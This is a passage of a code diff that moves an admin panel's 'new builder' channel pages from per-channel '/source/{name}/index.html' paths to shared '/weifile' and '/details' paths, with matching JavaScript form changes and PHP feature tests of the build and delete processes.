links.forEach(function (u) {
|
||||
@@ -218,7 +219,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
|
||||
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/source/{name}/index.html)</div></div></div>'
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/weifile/weifile.html + /details)</div></div></div>'
|
||||
: '';
|
||||
|
||||
var templateBlock = (isAdmin && creating)
|
||||
@@ -318,10 +319,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
|
||||
if (obj.event === 'links') openLinks(obj.data);
|
||||
if (obj.event === 'del') {
|
||||
var pathHint = obj.data.builder_type === 'new' && obj.data.channel_name
|
||||
? ('source/' + obj.data.channel_name + '/index.html')
|
||||
: ('web/' + obj.data.channel_id);
|
||||
layer.confirm('删除后将移除数据库记录与 ' + pathHint + ' 资源,确认?', function (idx) {
|
||||
var pathHint = obj.data.builder_type === 'new'
|
||||
? '数据库记录(共享 /weifile 与 /details 保留)'
|
||||
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
|
||||
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
|
||||
$.ajax({
|
||||
url: @json(url('/admin/channels')) + '/' + obj.data.id,
|
||||
method: 'POST',
|
||||
|
||||
@@ -332,16 +332,16 @@ class ChannelProjectServiceTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_invokes_new_builder_with_channel_name(): void
|
||||
public function it_invokes_new_builder_for_shared_weifile(): void
|
||||
{
|
||||
$name = 'abcd1234';
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_name' => $name,
|
||||
'weifile_path' => '/source/'.$name.'/index.html',
|
||||
'support_path' => '/source/'.$name.'/index.html',
|
||||
'daily_path' => '',
|
||||
'channel_name' => null,
|
||||
'weifile_path' => '/weifile/weifile.html',
|
||||
'support_path' => '/weifile/weifile.html',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
])),
|
||||
]);
|
||||
@@ -352,20 +352,19 @@ class ChannelProjectServiceTest extends TestCase
|
||||
null,
|
||||
null,
|
||||
Channel::BUILDER_NEW,
|
||||
$name,
|
||||
);
|
||||
|
||||
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
|
||||
$this->assertSame($name, $result['channel_name']);
|
||||
$this->assertSame('/source/'.$name.'/index.html', $result['weifile_path']);
|
||||
$this->assertSame('/source/'.$name.'/index.html', $result['support_path']);
|
||||
$this->assertNull($result['channel_name']);
|
||||
$this->assertSame('/weifile/weifile.html', $result['weifile_path']);
|
||||
$this->assertSame('/weifile/weifile.html', $result['support_path']);
|
||||
$this->assertSame('/details/', $result['daily_path']);
|
||||
|
||||
Process::assertRan(function ($process) use ($name) {
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, $name)
|
||||
&& ! str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID)
|
||||
&& str_contains($joined, '--scheme')
|
||||
@@ -391,28 +390,28 @@ class ChannelProjectServiceTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_use_channel_name_path_for_new_builder(): void
|
||||
public function support_links_use_weifile_path_for_new_builder(): void
|
||||
{
|
||||
$channel = new Channel([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'abcd1234',
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([
|
||||
'https://channel.test/source/abcd1234/index.html',
|
||||
'https://channel.test/weifile/weifile.html',
|
||||
], $channel->supportLinks());
|
||||
$this->assertSame('/source/abcd1234/index.html', $channel->landingPath());
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_new_builder_persists_channel_name_and_returns_weifile_path(): void
|
||||
public function store_new_builder_returns_shared_weifile_path(): void
|
||||
{
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'weifile_path' => '/placeholder/placeholder.html',
|
||||
'support_path' => '/placeholder/placeholder.html',
|
||||
'daily_path' => '',
|
||||
'weifile_path' => '/weifile/weifile.html',
|
||||
'support_path' => '/weifile/weifile.html',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
@@ -430,38 +429,30 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$this->assertNotNull($channel);
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', (string) $channel->channel_name);
|
||||
$this->assertSame(
|
||||
'/source/'.$channel->channel_name.'/index.html',
|
||||
$channel->landingPath()
|
||||
);
|
||||
$this->assertSame($channel->channel_name, $response->json('data.channel_name'));
|
||||
$this->assertSame($channel->landingPath(), $response->json('data.weifile_path'));
|
||||
$this->assertNull($channel->channel_name);
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
$this->assertNull($response->json('data.channel_name'));
|
||||
$this->assertSame('/weifile/weifile.html', $response->json('data.weifile_path'));
|
||||
|
||||
Process::assertRan(function ($process) use ($channel) {
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& str_contains($joined, $channel->channel_name)
|
||||
&& ! str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID);
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_new_builder_deletes_channel_name_tree(): void
|
||||
public function destroy_new_builder_keeps_shared_weifile(): void
|
||||
{
|
||||
Process::fake([
|
||||
'*' => Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([
|
||||
'status' => 'deleted',
|
||||
'removed' => true,
|
||||
])."\n"),
|
||||
]);
|
||||
Process::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'abcd1234',
|
||||
'channel_name' => null,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
@@ -471,12 +462,11 @@ class ChannelProjectServiceTest extends TestCase
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
Process::assertDidntRun(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'delete_channel.py')
|
||||
&& str_contains($joined, 'abcd1234')
|
||||
&& ! str_contains($joined, 'delete_channel_web.py');
|
||||
|| str_contains($joined, 'delete_channel_web.py');
|
||||
});
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user